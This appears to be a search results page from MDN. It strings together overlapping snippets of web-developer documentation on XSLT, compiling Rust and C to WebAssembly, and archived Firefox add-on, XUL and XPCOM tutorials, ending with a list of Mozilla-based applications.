...result element transform, otherwise it must be an xsl:stylesheet or xsl:transform element. transforming the document you can use the xsltprocessor.transformtodocument() or xsltprocessor.transformtofragment() methods to transform a document using the imported xslt stylesheet. ...
...esheet or xsl:transform element. transforming the document you can use the xsltprocessor.transformtodocument() or xsltprocessor.transformtofragment() methods to transform a document using the imported xslt stylesheet. transformtodocument xsltprocessor.transformtodocument() takes one argument, the source node to transform, and returns a
new document with the results of the transformation: var
newdocument = processor.transformtodocument(domtobetransformed); the resultant object depends on the output method of the stylesheet: html - htmldocument xml - xmldocument text - xmldocument with a single root element <transformiix:result> with the text as a child transformtofragment you can also use xsltprocessor.transformtofragment() which will return a documentfragment node. this is hand...
...And 2 more matches
Compiling from Rust to WebAssembly - WebAssembly
rminal: $ cargo install wasm-pack install node.js we are building an npm package in this tutorial, and so you need to have node.js and npm installed. to get node.js and npm, go to the get npm! page and follow the instructions. when it comes to picking a version, choose any one you'd like; this tutorial isn't version-specific. building our webassembly npm package enough setup; let's create a
new package in rust. navigate to wherever you keep your personal projects, and type this: $ cargo
new --lib hello-wasm created library `hello-wasm` project this creates a
new library in a subdirectory named hello-wasm with everything you need to get going: +-- cargo.toml +-- src +-- lib.rs first, we have cargo.toml; this is the file that we use to configure our build. if you've used gemf...
...e `npm link` to make this package available to other javascript packages installed $ cd pkg $ npm link we now have an npm package, written in rust, but compiled to webassembly. it's ready for use from javascript, and doesn't require the user to have rust installed; the code included was the webassembly code, not the rust source. ...
...e rust installed; the code included was the webassembly code, not the rust source. using the package on the web let's build a website that uses our
new package. many people use npm packages through various bundler tools, and we'll be using one of them, webpack, in this tutorial. it's only a little bit complex, and shows a realistic use-case. let's move back out of the pkg directory, and make a
new directory, site, to try this out in: $ cd ../.. ...
...And 2 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
/{dec,dsp,demux,enc,mux,utils}/*.c note: this strategy will not work with every c project. many projects rely on autoconf/automake to generate system-specific code before compilation. emscripten provides emconfigure and emmake to wrap these commands and inject the appropriate parameters. you can find more in the emscripten documentation. now you only need some html and javascript to load your
new module: <script src="./a.out.js"></script> <script> module.onruntimeinitialized = async _ => { const api = { version: module.cwrap('version', 'number', []), }; console.log(api.version()); }; </script> and you will see the correct version number in the output: note: libwebp returns the current version a.b.c as a hexadecimal number 0xabc. for example, v0.6.1 is encoded a...
... depending on the size of your image, you might run into an error where wasm can't grow the memory enough to accommodate...
... depending on the size of your image, you might run into an error where wasm can't grow the memory enough to accommodate both the input and the output image: luckily, the solution to this problem ...
...And 2 more matches
XUL Migration Guide - Archive of obsolete content
options are: the sdk includes modules that implement some basic user interface components including buttons, dialogs, and context menu items. there is a collection of community-developed modules that includes various user interface components. by using the sdk's low-level apis you can directly modify the browser chrome. xul windows xul windows are used to define completely
new windows to host user interface elements specific to the add-on. the sdk generally expects you to specify your user interface using html, not xul. however, you can include a chrome.manifest file in your add-on and it will be included in the generated xpi. my-addon/ chrome/ content/ locale/ skin/ chrome.manifest data/ lib/ package.json there are limit...
...rity: it reduces the risk that a malicious web page will be able to access privileged apis. there's much more information on content scripts in the working with content scripts guide. using the supported apis the sdk provides a set of high level apis providing some basic user interface components and functionality commonly required by add-ons. because we expect to keep these apis compatible as
new versions of firefox are released, we call them the "supported" apis. see the tutorials and the high-level api reference. if the supported apis do what you need, they're the best option: you get the benefits of compatibility across firefox releases and of the sdk's security model. apis like ui and panel are very generic and with the right content can be used to replace many specific xul elements...
...changes to their user interfaces if they are to use only the sdk's supported apis, and add-ons which make drastic changes to the browser chrome will very probably need more than the sdk's supported apis can offer. similarly, the supported apis expose only a small fraction of the full range of xpcom functionality. using third party packages the sdk is extensible by design: developers can create
new modules filling gaps in the sdk, and package them for distribution and reuse. add-on developers can install these packages and use the
new modules. if you can find a third party package that does what you want, this is a great way to use features not supported in the sdk without having to use the low-level apis. see the guide to adding firefox menu items. some useful third party packages are co...
...ompatibility benefits of using the sdk. using the low-level apis in addition to the high-level apis, the sdk includes a number of low-level apis some of which, such xhr and window/utils, expose powerful browser capabilities. but note that unlike the supported apis, low-level apis do not come with a compatibility guarantee, so we do not expect code using them will necessarily continue to work as
new versions of firefox are released. in this section we'll use low-level modules how to: modify the browser chrome using dynamic manipulation of the dom directly access the tabbrowser object modifying the browser chrome this example uses the action button api, which is only available from firefox 29 onwards. the window/utils module gives you direct access to chrome windows, including the...
remote/child - Archive of obsolete content
hat sends and receives events from the main process. isremote a boolean property indicating whether this process is remote from the main process or not. frames a list of the content frames in this process. each element in this list is a frame. listen to attach and detach events to hear as frames are created and destroyed. methods forevery calls the callback for every existing frame and any
new frames created in the future. this is a shortcut for enumerating existing frames and then listening for attach events. getframeforwindow finds the frame for a top level dom window. addeventlistener adds an event listener for dom events dispatched to any existing and future frames. removeeventlistener removes an event listener that was previously registered. properties port an event emitt...
...or attach events. getframeforwindow finds the frame for a top level dom window. addeventlistener adds an event listener for dom events dispatched to any existing and future frames. removeeventlistener removes an event listener that was previously registered. properties port an event emitter that sends and receives events from every frame in this process. ...
...top level dom window. addeventlistener adds an event listener for dom events dispatched to any existing and future frames. removeeventlistener removes an event listener that was previously registered. properties port an event emitter that sends and receives events from every frame in this process. events attach triggered when a
new content frame is opened (for example, the user opened a
new tab). ...
... receives events from every frame in this process. events attach triggered when a
new content frame is opened (for example, the user opened a
new tab). the event listener gets a frame object as an argument. at this point you can't access frame's content yet, but you can add event listeners: const { frames } = require("sdk/remote/child"); frames.on("attach", function(frame) { console.log("
new frame"); frame.addeventlistener("domcontentloaded", function(e) { console.log(e.target.location.href); }); }); detach triggered when a frame is removed (for example, the user closed a tab). frame a frame represents a content frame in this process and provides a way to communicate frame specific events to the main process. methods addeventlistener(event, listener, iscapturing) adds ...
remote/parent - Archive of obsolete content
te path to the module or a relative path. if you use a relative path, you must use the module parameter. const { remoterequire } = require("sdk/remote/parent"); remoterequire("./my-module.js", module); note that even single-process applications have a process that contains content frames. for consistency and to make writing multiprocess compatible code easier, remoterequire() will also create a
new module loader and load modules in the main process. parameters id : string the module to load. to use a relative path you must pass the module parameter. module : object the module to resolve the relative module id against. to resolve relative to the loading module, pass module here. properties processes a processes object. frames a frames object. processes the processes object lets y...
....log(p.isremote); } each element in this list is a process. there will always be at least one process in this list, the main process. a multiprocess application will usually have at least one more process. listen to attach and detach events to hear as processes are started and stopped: const { processes } = require("sdk/remote/parent"); processes.on("attach", function(process) { console.log("
new process is remote: " + process.isremote); }); methods forevery(callback) calls the callback for every existing process and any
new processes created in the future. this is a shortcut for enumerating existing processes and then listening for attach events. properties port an event emitter that sends messages to and receives messages from all processes. events attach event emitted when a n...
... detach event emitted when a process disconnects from the application. it may have been closed normally or it may have crashed. the event handler is called with the process that detached. frames a list of the content frames across all processes. each element in this list is a frame. ...
...ist of the content frames across all processes. each element in this list is a frame. listen to attach and detach events to hear as frames are created and destroyed. const { frames } = require("sdk/remote/parent"); frames.on("attach", function(frame) { console.log("frame is attached: " + frame.frameelement); }); methods forevery(callback) calls the callback for every existing frame and any
new frames created in the future. this is a shortcut for enumerating existing frames and then listening for attach events. properties port an event emitter that sends messages to and receives messages from all frames. events attach event emitted when a
new frame is created. the event handler is called with a frame representing the
new frame. detach event emitted when a frame is removed. for e...
Creating annotations - Archive of obsolete content
because this code uses jquery, you'll need to download that as well, and save it in data. updating main.js go back to main.js and add the code to create the selector into the main function: var selector = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.url('jquery-1.4.2.min.js'), ...
...age: the screenshot below uses http://blog.mozilla.com/addons/2011/02/04/ overview-amo-review-process/. you should see the highlight appearing when you move the mouse over certain elements: click on the highlight and you should see something like this in the console output: info: show info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/, post-2249,when you submit a
new add-on, you will have to choose between 2 review tracks: full review and preliminary review. annotation editor panel so far we have a page-mod that can highlight elements and send information about them to the main add-on code. next we will create the editor panel, which enables the user to enter an annotation associated with the selected element. we will supply the panel's content as an ht...
...w it. we will send the editor panel the focus message when it is shown, so it will give the text area focus. when the editor panel sends us its message we log the message and hide the panel. the only thing left is to link the editor to the selector. ...
...selectors); }); } }); execute cfx run again, activate the annotator, move your mouse over an element and click the element when it is highlighted. you should see a panel with a text area for a note: enter the note and press the return key: you should see console output like this: info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/, post-2249,when you submit a
new add-on, you will have to choose between 2 review tracks: full review and preliminary review. info: we should ask for full review if possible. that's a complete annotation, and in the next section we'll deal with storing it. ...
Using third-party modules (jpm) - Archive of obsolete content
-developed modules, or how to install and update them. with jpm, we use npm as the package manager for sdk modules that don't ship inside firefox. module developers can publish sdk modules to npm, and add-on developers can install them from npm and build them into their add-ons. this article explains how to use npm-hosted third-party sdk modules with jpm. we'll use the menuitem package to add a
new menu item to firefox. summary first, while in the root of your add-on, install the package that contains the modules you want to use: npm install menuitem --save now you'll see a
new directory in your add-on root called "node_modules" that contains a directory "menuitem". in your add-on code, you can require() modules by passing a path to the module starting from, but not including "node_modu...
...ur add-on, install the package that contains the modules you want to use: npm install menuitem --save now you'll see a
new directory in your add-on root called "node_modules" that contains a directory "menuitem". in your add-on code, you can require() modules by passing a path to the module starting from, but not including "node_modules": var menuitems = require("menuitem"); details create a
new directory called, for example, "my-menuitem", navigate to it, type "jpm init" and accept all the defaults: mkdir my-menuitem cd my-menuitem jpm init install the menuitem package from npm: npm install menuitem --save this will install the package in the current directory, under a directory called "node_modules". the --save argument instructs npm to add this package to the dependencies key in ...
...igate to it, type "jpm init" and accept all the defaults: mkdir my-menuitem cd my-menuitem jpm init install the menuitem package from npm: npm install menuitem --save this will install the package in the current directory, under a directory called "node_modules". the --save argument instructs npm to add this package to the dependencies key in the add-on's package.json file. you'll now see a
new directory in "my-menuitem" called "node_modules". it will contain a single directory "addon-pathfinder", and the modules included in this package will be somewhere in that directory: my-menuitem index.js node_modules menuitem package.json test we're interested in using the "menuitem" module, which is at "addon-pathfinder/lib/ui/menuitem". open "index.js...
...tem" module, which is at "addon-pathfinder/lib/ui/menuitem". open "index.js" and replace it with this: var menuitems = require("menuitem"); var menuitem = menuitems.menuitem({ id: "clickme", menuid: "menu_toolspopup", label: "click me!", oncommand: function() { console.log("clicked"); }, insertbefore: "menu_pageinfo" }); now run the add-on: jpm run -b nightly you should see a
new menu item in the tools menu labeled "click me!". click the button, and the message "clicked" is logged. note: in more recent versions of firefox, the menu bar may not be visible by default. to show the menu bar, click on the open menu icon and select "customize". then, under show / hide toolbars, enable the menu bar. finally, click the green bar "exit customize" ...
Rosetta - Archive of obsolete content
|*| |*| november 12, 2014 |*| |*| https://developer.mozilla.org/add-ons/code_snippets/rosetta |*| https://developer.mozilla.org/user:fusionchess |*| |*| this framework is released under the gnu public license, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta =
new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the previous code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\". "); if (!odicts.hasownproperty(smimetype)) { alert("rosetta.translatescript() \u2013 unknown mime-type \"" + smim...
....setattribute(aattrs[nattr].name, aattrs[nattr].value); } ocompiled.type = "text\/ecmascript"; if (oxhr200) { ocompiled.src = "data:text\/javascript," + encodeuricomponent(odicts[smimetype](oxhr200.responsetext)); } ocompiled.text = oxhr200 ? ...
...ype](oxhr200.responsetext)); } ocompiled.text = oxhr200 ? "" : odicts[smimetype](oscript.text); obaton.parentnode.insertbefore(ocompiled, obaton); } function reqerror (oerror) { throw
new urierror("the script " + oerror.target.src + " is not accessible."); } function reqsuccess () { createscript(this.refscript, this); } function getsource (oscript) { var oreq =
new xmlhttprequest(); oreq.onload = reqsuccess; oreq.onerror = reqerror; oreq.refscript = oscript; oreq.open("get", oscript.src, true); oreq.send(null); } function parsescript (oscript) { if (oscript.hasattribute("type") && !rignoremimes.test(oscript.getattribute("type").tolowercase())) { oscript.hasattribute("src") ? getsource(oscript) : createscript(oscript); ...
...etelementsbytagname("script"), nidx = 0; nidx < ascripts.length; parsescript(ascripts[nidx++]) ); } var odicts = {}, rignoremimes = /^\s*(?:text\/javascript|text\/ecmascript)\s*$/; this.translatescript = parsescript; this.translateall = parsedocument; this.appendcompiler = function (vmimetypes, fcompiler) { if (arguments.length < 2) { throw
new typeerror("rosetta.appendcompiler() \u2013 not enough arguments"); } if (typeof fcompiler !== "function") { throw
new typeerror("rosetta.appendcompiler() \u2013 second argument must be a function"); } if (!array.isarray(vmimetypes)) { odicts[(vmimetypes).tostring()] = fcompiler; return true; } for (var nidx = 0; nidx < vmimetypes.length; nidx++) { ...
Common Pitfalls - Archive of obsolete content
o start with saves super-reviewers a lot of effort. the first couple of items deal with loading content from a uri. it's important to create the uri correctly, and then check that it's secure to load. this will shield you from loading <tt>javascript:</tt> or <tt>chrome:</tt> uris when you shouldn't. ...
...javascript:</tt> or <tt>chrome:</tt> uris when you shouldn't. ...
...vice;1"] .getservice(components.interfaces.nsiioservice); var uriobj = ioserv.
newuri(uristring, uricharset, baseuri); } catch (e) { // may want to catch ns_error_malformed_uri for some applications } c++: nsresult rv; nscomptr<nsiioservice> ioserv = do_getservice("@mozilla.org/network/io-service;1"); ns_ensure_success(rv, rv); nscomptr<nsiuri> uriobj; rv = ioserv->
newuri(uristring, uricharset, baseuri, getter_addrefs(uriobj)); if (ns_failed(rv)) { // may want to handle ns_error_malformed_uri for // some applications return rv; } or, if the code can include nsnetutil.h: nscomptr<nsiuri> uriobj; nsresult rv = ns_
newuri(getter_addrefs(uriobj), uristring, uricharset, baseuri); in all cases the baseuri can be null if the uristring sho...
...ll cases the baseuri can be null if the uristring should be treated as an absolute uri and uricharset can be null if there is no clear origin charset for the string (e.g. it's something the user typed in the url bar). the one exception to all of the above, that is the one case in which creating a specific uri class via createinstance is acceptable, is when one is implementing a protocol handler's
newuri method. in that case you may not be able to use the i/o service because that service calls the
newuri method on the appropriate protocol handler, which may be your own handler. how to do security checks for uri loads before loading a uri, one of two security checks needs to be performed: if the uri is a string that will be loaded via passing the string to nsiwebnavigation::loaduri, the on...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
y and each subdirectory must contain a makefile.in (from now on i'll just refer to this file as a makefile although we know that it is actually used to generate the real makefile). this makefile says two things. first of all, it lists the subdirectories that make up the extension, so the build system knows where to look for additional makefiles. secondly, it instructs the build system to create a
new extension, rather than copying the components directly into firefox's binary directory. the main advantage of using an extension is that it is easy to package everything up and install it on another machine. so here's your basic, plain-vanilla top-level makefile (makefile.in in the main extension directory): depth = ../.. topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath =...
...t directory) so that your extension is built along with mozilla. add the following line at the end of the file: ac_add_options --enable-extensions=default,myextension now launch make from the mozilla root: make -f client.mk build even if you have an up-to-date firefox build, you'll have to wait a while for make to recurse over the entire mozilla source tree looking for
new stuff (on my machine, which is pretty fast, this takes a good 10-15 minutes). eventually it will reach your extension and generate a bunch of stuff under /mozilla/$(moz_objdir)/: exported header files and generated header files (from idl) in dist/include/ static libraries for your modules in dist/lib/ (in case other modules want to link statically to your stuff instead of ...
...registered. the simplest way to do this is to write some javascript and xul code. at this point, it would be very helpful to have a bit of experience writing "regular" extensions (i.e. without using custom c++ components). if you've never done this, i strongly recommend that you think of a cool idea for something simple that you've always wanted to tweak in firefox and write it. just displaying a
new menu item that opens a "hello, world!" dialog box would be already be a great exercise to get warmed up with. assuming you know how to write xul/javascript extensions, you're aware that the most important stuff goes in the chrome/ directory of your extension. well, the fact that you're also using c++ components doesn't change that one whit. so now you need to create the normal content/, lo...
...ries that have a straightforward make process without extensive configuration. a good example of this is the sqlite library included in the mozilla build tree at db/sqlite. by adapting the makefile in this way, the library is created as part of the standard mozilla build process, which eliminates additional build steps. the downside is that you will need to update the modified makefile any time a
new version of the library is released. for libraries that have complex configuration processes, use a non-standard compiler or have other special characteristics, it may be unfeasible to create a mozilla-compliant makefile. in this case, i would recommend placing the entire library distribution inside the project or subproject that uses it. so if library acmelib is used inside the multifarious/ sub...
Custom about: URLs - Archive of obsolete content
this page describes how to register a
new about: url for your extension. setup for firefox 4+ this is a simple example of a custom about page for bootstrapped addons. this example creates an about page with url about:myaboutpage which takes a user to a page that writes some text out. make sure to generate a unique aboutpage_id, see this page to learn more about generating uuid's: uuid. it is imported to queryinterface the components.manager otherwise this will not work. this example can be easily modified, just modify the global const at in the // globals section. in bug 1254752 things changed for firefox 48 and up. services.io.
newchannel was deprecated, and the signature of the
newchannel method changed. this change is reflected in the code below. this code will work for all ...
...id(`{${aboutpage_id}}`); } static get classdescription() { return aboutpage_description; } static get contractid() { return `@mozilla.org/network/protocol/about;1?what=${aboutpage_word}`; } static get queryinterface() { return xpcomutils.generateqi([ci.nsiaboutmodule]); } constructor() { object.freeze(this); } geturiflags(auri) { return ci.nsiaboutmodule.allow_script; }
newchannel(auri, asecurity_or_aloadinfo) { let channel; if (services.vc.compare(services.appinfo.version, '47.*') > 0) { const uri = services.io.
newuri(aboutpage_uri, null, null); // greater than or equal to firefox48 so asecurity_or_aloadinfo is aloadinfo channel = services.io.
newchannelfromuriwithloadinfo(uri, asecurity_or_aloadinfo); } else { channel = s...
...i, asecurity_or_aloadinfo) { let channel; if (services.vc.compare(services.appinfo.version, '47.*') > 0) { const uri = services.io.
newuri(aboutpage_uri, null, null); // greater than or equal to firefox48 so asecurity_or_aloadinfo is aloadinfo channel = services.io.
newchannelfromuriwithloadinfo(uri, asecurity_or_aloadinfo); } else { channel = services.io.
newchannel(aboutpage_uri, null, null); } channel.originaluri = auri; return channel; } } class factory { constructor(component) { this.component = component; this.register(); object.freeze(this); } createinstance(outer, iid) { if (outer) { throw cr.ns_error_no_aggregation; } return
new this.component(); } register() { cm.registerfactory(thi...
...} and then on shutdown of your bootstrapped addon make sure to destroy the factory: function shutdown(adata, areason) { if (areason == app_shutdown) { return } // ... factory.unregister(); // .... } and there you have it, your own custom about page. ...
Interaction between privileged and non-privileged pages - Archive of obsolete content
var mainwindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) ...
... so to trigger the right event on the right page we have to tell the extension which page to call. the information we need for that is contained in evt.target.ownerdocument. we can extend the above example with some data transfer from the extension to the web page. in the following code sample 2 methods are combined: setting an extra attribute in the original event target element, and creating a
new event message with a
new event target element. for this to work we need to define the original target element globally. we need a
new event trigger in the web page and some code to show the event message actually arrived. in the extension we have to dispatch an event message to the right web page. the code containing the callback could look like this: in the extension: var myextension = { my...
...use xml. with element attributes and e4x, this is fairly easy. you do need to convert your data to/from e4x objects, though. and your chrome needs to carefully check every value passed (you need to do that either way). ...
...ected, and returns the data for that event. * @returns {e4x} the (unchecked) detail data from the page. * you must check the data. * @see <https://developer.mozilla.org/docs/code_snippets/ * interaction_between_privileged_and_non-privileged_pages#security_notes> */ function geteventdata(event) { if (event.target.ownerdocument != targetdoc) throw "event from unexpected source"; return
new xml(event.target.getattribute("eventdatafrompage")); } security notes never invoke the web page's javascript functions from your extension - doing this increases the chance of creating a security hole, where a malicious web page can trick the browser to run its code with extended privileges (just like your extension) with, for example, the ability to delete local files. it is highly recomme...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
source code, choose "firefox 3" in the starting points list. for firefox 3.5 choose "mozilla 1.9.1." for the current development trunk of firefox, choose "mozilla central" and for thunderbird, choose "comm. central". calling xpcom from xpconnect use the xpconnect technology to use xpcom in javascript. listing 1 shows how you can use xpconnect to acquire references to xpcom services and create
new xpcom objects. each component is identified with a contract id in the form @domain_name/module_name/component_name;version_number, and implements one or more interfaces that determine what functions can be called on these components. interfaces names usually have the forms nsixxx. in order to have access to the corresponding functions, it is necessary to use the component with the interface you ...
...e written “\\”; characters like “./” on linux require no special handling. listing 6: creating an xpcom object representing a file var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath('c:\\temp\\temp.txt'); creating and deleting files listing 7 shows how to delete a file if it exists, and create a
new file with the same name. passing true as a parameter for the nsilocalfile.remove() method will recursively delete folders and files. let's see what happens when we pass true to delete all the contents of a folder. listing 7: check that file exists, delete it, and create it file.initwithpath('c:\\temp\\temp.txt'); if (file.exists()) file.remove(false); file.create(file.normal_file_type, 0666)...
...nversion. ...
...shown in listing 21; listing 22 shows how to open a page using the loaduriwithflags() method, with data transmitted via the post method. ...
Adding windows and dialogs - Archive of obsolete content
the window.open page has a detailed description of the features you can use and their values. ...
...://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window. if this value is null or empty, the default toolbars of the main window will be added to the
new one, which is rarely what you want. the window.open page has a detailed description of the features you can use and their values. the following features are very important and you should always keep them in mind: chrome. this can only be used from the chrome, not from regular html javascript. it indicates that a chrome document is being opened, not a web page. this means that the document defi...
...re should only be used when there's no way to continue without having the user do something. never open modal windows at startup. resizable. indicates the user can resize the window or not. in general, windows should not be resizable unless they display dynamically generated content from a datasource, such as lists or trees that may need resizing to have a better view of the content. to open a
new dialog, use the function window.opendialog, an extension of the open function. it allows you to send a set of optional parameters that can be used to communicate with the dialog. let somevalue = 2; let returnvalue = { accepted : false , result : "" }; window.opendialog( "chrome://xulschoolhello/content/somedialog.xul", "xulschoolhello-some-dialog", "chrome,centerscreen", somevalue, retu...
... the opener will wait until the dialog is closed. this means the opendialog function call will not return until the dialog has been closed by the user. common dialogs and the prompt service there are several types of dialogs that are fairly common, so there are ways to create them easily without having to reinvent the wheel and write all their xul and js code all over again. whenever you need a
new dialog, you should ask yourself if it can be implemented using these common dialogs, and use them whenever it is possible. they have been thoroughly tested for os integration, accessbility and localization, so you save yourself a lot of work and favor them. using the prompt service is the recommended way to create common dialogs in an extension. read the article and its examples carefully, becau...
Custom XUL Elements with XBL - Archive of obsolete content
« previousnext » xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents. the element that the binding is attached to, called the bound element, acquires the
new behavior specified by the binding. taken from the xbl page. this somewhat cryptic explanation describes a very simple concept: with xbl you can create your own custom elements. xbl is heavily used in xul, but in theory it could be applied to any xml language. xbl was submitted to the w3c for standardization, but for now it's used in xul almost exclusively. with xbl you can define
new elements and define their properties, attributes, methods and event handlers. many complex elements such as tabs, buttons and in...
...ir properties, attributes, methods and event handlers. many complex elements such as tabs, buttons and input controls are implemented using xbl and simpler xul elements. as explained earlier, xul is really just boxes, text and images. we'll look into xbl using a modified version of the hello world extension. download the hello world xbl project, build it and test it for a while. you should see a
new item in the hello world menu, that opens a binding test window where you can add "persons" to a list. xbl basics in order to create an xbl binding you'll need 2 files: the xbl file and a css file that binds an element name to your xbl declaration. if you look into the content directory, you'll see both files: person.xml - this is the main binding file. it holds all the code necessary to cont...
... the hello world menu, that opens a binding test window where you can add "persons" to a list. xbl basics in order to create an xbl binding you'll need 2 files: the xbl file and a css file that binds an element name to your xbl declaration. if you look into the content directory, you'll see both files: person.xml - this is the main binding file. it holds all the code necessary to control the
new element we created. we'll look into the code throughout the rest of this section. for now, just notice the opening part of the binding element: <binding id="person">. bindings.css - this is the file that associates the element name to the xbl file. it associates the xshelloperson element name to the binding defined in the xbl file. since you can have more than one binding per file, the "#person"...
...is css file is located in the content because it's not something we would normally want to be replaced by a skin, and it's not really defining style; it defines content behavior instead. if you use bindings on toolbar elements, remember to include the css file in the customize dialog, using the style directive in the chrome.manifest file. with those 2 files properly defined, we can now use the
new element. if you look at file bindingdialog.xul, you'll see that the css stylesheet is included, which means that the xshelloperson tag can now be used just like any xul tag. in this case we're adding the "persons" dynamically, so you'll have to look into the js file to see how xshelloperson elements are created and added to the dom just like any other. addperson : function(aevent) { // ... l...
XPCOM Objects - Archive of obsolete content
the first parameter is an input that tells the method where to start looking. the second one will hold the length of the return array, and the third parameter will hold the array itself. note the metadata included in the square brackets, indicating that the parameter is an array, and that its size is determined by the acount parameter. here's one way to invoke this method: let childarrayobj =
new object(); let childarray; this._prefservice.getchildlist("", {}, childarrayobj); // .value holds the actual array. childarray = childarrayobj.value; the general rule for out parameters is that you can pass an empty object, and then you can get the result by accessing the value attribute in this object after the method call. the method will set value for you. also, since js arrays have the le...
...counter for the hello world extension. keeps track of how many times the * hello world message has been shown. */ [scriptable, uuid(bd46f689-6c1d-47d0-bc07-bb52b546b8b5)] interface xsihellocounter : nsisupports { /* the maximum allowed count. */ const short max_count = 100; /* the current count. */ readonly attribute short count; /** * increments the display count and returns the
new count. * @return the incremented count. */ short increment(); }; the bits about nsisupports are common to most xpcom interface definitions. nsisupports is the base interface for all interfaces, so it should always be included, except for cases where your interface extends another interface. in those cases you just need to replace nsisupports with the interface you're extending. you can...
...ne. [scriptable, uuid(bd46f689-6c1d-47d0-bc07-bb52b546b8b5)] the scriptable qualifier says that this component can be accessed from js code. this can also be specified on a per-method basis, which is something you'll see in some of the interfaces in firefox, but it's not likely you'll have to do it in your own components. the second part defines a uuid for the interface. you must generate a
new one for each interface, and you should change it every time the interface changes. in this case you're forced to use uuid, the email address format used for extension ids won't work. we included a constant, an attribute and a method to display examples of the 3, but this is clearly an overly elaborate way to keep a simple counter. you can define numeric and boolean constants in idl files, but n...
... c++ xpcom components c++ xpcom components are no longer supported in firefox extensions. they are only available to code built into firefox itself. if you are writing an extension and need to interact with 3rd-party binary code, the best way ...
Search Extension Tutorial (Draft) - Archive of obsolete content
*name* to *value*. // a default for this preference must exist, and it must be a // character preference. function setpref(name, value, localized) { // if this is a localized preference, transform the value into an // appropriate data: url. if (localized) value = "data:text/plain," + encodeuricomponent(name + "=" + value.replace(/ /g, "\\u0020")); // save the original and
new values. savedprefs[name] = [defaultprefs.getcharpref(name), value]; // change the default defaultprefs.setcharpref(name, value); // clear the user value if this is the first run, or the //
new default is the same as the user value. if (firstrun || userprefs.getcharpref(name) == value) userprefs.clearuserpref(name); } function startup(data, reason) { firstrun...
... // reset our changes if the values have not been changed // in the meantime. for (let [name, [origvalue, value]] in iterator(savedprefs)) { if (defaultprefs.getcharpref(name) == value) defaultprefs.setcharpref(name, origvalue); } } function install() {} function uninstall() {} changing the default search engine this change comes in two parts: 1) installing a
new search engine (and removing it when your extension is disabled), and 2) setting it as a default (and restoring the previous default when your extension is uninstalled). adding a
new search engine search engines may be added either directly via an api call, or indirectly via an xml description file. while the former is the simpler method, it does not support complex descriptions containing suggest...
...r selectsearch = false; function startup(data, reason) { firstrun = reason == addon_install; // re-select the search engine if this is the first run // or we're being re-enabled. selectsearch = firstrun || reason == addon_enable; // only add the engine if it doesn't already exist. ...
...etails.name); // only remove the engine if it appears to be the same one we // added. if (engine && engine.getsubmission("_searchterms_").uri.spec == engine_details.url) services.search.removeengine(engine); } } function install() {} function uninstall() {} changing the location bar keyword url the preferred method for changing the keyword url is to add a
new search engine as described above and change the browser.search.defaultenginename preference to its name. a separate url for keyword can be set by adding a type="application/x-moz-keywordsearch" url to the search description file if desired. while it is possible to achieve similar effects by changing the keyword.url preference, this method is deprecated and should not be used. example extension an...
XUL user interfaces - Archive of obsolete content
d even browsers. more specialized features can be built from parts by using xul together with other technologies that you have seen in this tutorial: css style, javascript code, and xbl bindings. like other xml-based languages, xul uses css stylesheets. more details for more information about xul user interfaces, see the xul page in this wiki. action: a xul demonstration make a
new xul document as a plain text file, doc7.xul. copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesheet type="text/css" href="style7.css"?> <!doctype window> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="applicati...
...copy and paste the content from here, making sure that you scroll to get all of it: /*** xul demonstration ***/ window { -moz-box-align: start; background-color: -moz-dialog; font: -moz-dialog; padding: 2em; } .head-1 { font-weight: bold; font-size: 200%; padding-left: 5px; } /* the group box */ .demo-group { padding: 1em; } .demo-group grid { m...
...copy and paste the content from here, making sure that you scroll to get all of it: // xul demonstration var datebox, daybox, currentday, status; // elements // called by window onload function init() { datebox = document.getelementbyid("date-text") daybox = document.getelementbyid("day-box") status = document.getelementbyid("status") settoday(); } // called ...
... datebox, daybox, currentday, status; // elements // called by window onload function init() { datebox = document.getelementbyid("date-text") daybox = document.getelementbyid("day-box") status = document.getelementbyid("status") settoday(); } // called by clear button function cleardate() { datebox.value = "" refresh() } // called by today button function settoday() { var d =
new date() datebox.value = (d.getmonth() + 1) + "/" + d.getdate() + "/" + d.getfullyear() refresh() } // called by date textbox function refresh() { var d = datebox.value var thedate = null showstatus(null) if (d != "") { try { var a = d.split("/") var thedate =
new date(a[2], a[0] - 1, a[1]) showstatus(thedate) } catch (ex) {} } setday(th...
List of Mozilla-Based Applications - Archive of obsolete content
a list of former mozilla-based applications is also available. ...
... epic browser web browser based on chromium uses mozilla nss and npapi libraries emusic download manager music downloader for emusic emusic remote music manager enlis genome personal genome browser esxx javascript application server uses mozilla rhino etna xml wysiwyg editor eudora mail and
news application the upcoming version 8 will be based on thunderbird evergreen library automation system evolution email client uses nss exe elearning xhtml editor seems to be using xul for some of their webui facebook open platform facebook open platform the fbml parser used in the platform is based on mozilla code fennec br...
...oogle’s desktop widget engine uses xulrunner according to the build instructions grani grain sizing assessment tool according to this wiki page grani is based on xul and xpcom daim gwt-mosaic-xul xul builder for google web tools hachette's multimedia encyclopedia electronic encyclopedia this product was using mozilla in 2004 but i’m not sure if
new version still does hacketyhack little coders helma web application framework uses mozilla rhino holt mcdougal cd-roms educational cd-roms activity generator and lab generator are both based on custom firefox distributions houdini 3d animation tools uses gecko in embedded help viewer httpunit automated testing framework us...
